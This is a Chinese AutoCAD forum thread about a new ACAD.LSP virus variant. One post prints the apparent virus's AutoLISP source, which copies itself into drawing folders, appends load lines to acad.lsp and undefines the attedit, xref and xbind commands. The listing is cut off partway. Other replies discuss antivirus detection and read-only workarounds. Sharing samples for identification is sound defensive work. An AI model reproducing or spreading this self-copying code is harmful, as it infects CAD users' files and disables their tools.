[求助]：发现新的ACAD.LSP 变种！以前的专杀工具没有用了！

xgwl

这个ACAD.LSP 本身有缺陷！ 置顶的监控可以去掉！但不能全面查杀！来得更彻底！

huhui578

小弟初学CAD,不知道LSP病毒危害能力有多大,会导致重装系统么?在哪儿能找到Lsp病毒的相关资料?谢谢!

gysjy

将正常使用的acad.lsp拷入绘图工作目录，将属性改为“只读”，则acad病毒无法感染你的工作目录。

xgwl

(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
                   newacad nowdwg lspbj        wjm wjm1 wjqm wjqm1 wz ns1 ns2
                   )
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq path (findfile "base.dcl"))
  (setq path (substr path 1 (- (strlen path) 8)))
  (setq mnlpath (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  (setq acadpath (findfile "acad.lsp"))
  (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  (setq        ns1 ""
        ns2 ""
        )
  (setq lspbj 0)
  (setq wjqm (strcat path "acad.lsp"))
  (if (setq wjm (open wjqm "r"))
    (progn (while (setq wz (read-line wjm))
             (setq ns1 ns2)
             (setq ns2 wz)
             )
           (if (> (strlen ns1) 14)
             (if (= (substr ns1 8 7) "acadiso")
               (setq lspbj 1)
               )
             )
           (close wjm)
           )
    )
  (if (and (= acadpath dwgpath) (/= acadpath path))
    (progn (setq oldacad (findfile "acad.lsp"))
           (setq newacad (strcat path "acadiso.lsp"))
           (if (= lspbj 0)
             (progn (setq wjqm (strcat path "acad.lsp"))
                    (setq wjm (open wjqm "a"))
                    (write-line
                      (strcat "(load" (chr 34) "acadiso" (chr 34) ")")
                      wjm
                      )
                    (write-line "(princ)" wjm)
                    (close wjm)
                    )
             )
           (writeapp)
           )
    (progn (if (/= nowdwg "Drawing.dwg")
             (progn (setq oldacad (findfile "acadiso.lsp"))
                    (setq newacad (strcat dwgpath "acad.lsp"))
                    (writeapp)
                    )
             )
           )
    )
  (command "undefine" "attedit")
  (command "undefine" "xref")
  (command "undefine" "xbind")
  (setvar "cmdecho" old_cmd)
  (princ)
  )
(defun writeapp        ()
  (if (setq wjm1 (open newacad "w"))
    (progn (setq wjm (open oldacad "r"))
           (while (setq wz (read-line wjm)) (write-line wz wjm1))
           (close wjm)
           (close wjm1)
           )
    )
  )
(defun C:attedit (/ p cont old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq p (ssget))
  (if p
    (progn (setq cont (sslength p))
           (princ "\nSeltct objects:")
           (princ cont)
           (princ "found")
           (princ "\n")

雨箭风刀

楼上的是“病毒”样本么？

zml84

方法有了，那么药不是可以随便装吗？

cgh93001

现在的病毒还真是无孔不入， 我装了瑞星最新的杀毒软件，能杀掉acad.lsp病毒！

c3a139

4楼的是病毒样本吧？NORTON给查杀了

qwer2050

病毒越来越多了。谢谢楼主提醒。。。

jobson387

有工夫搞cad病毒，还不如搞一点提高工作
效率的事情。现在工作都干不完，再添点病毒，什么时候能出图啊。

zooloo

acad.lsp文件一般都不需要，见到就杀，不管它变不变种。
打开别人给的dwg文件时，注意有没有同时带来acad.lsp文件，如有，就把它删除。

张世杰

卖咖啡可以杀ACAD.LSP病毒，有同事给我飞鸽传图都能查杀。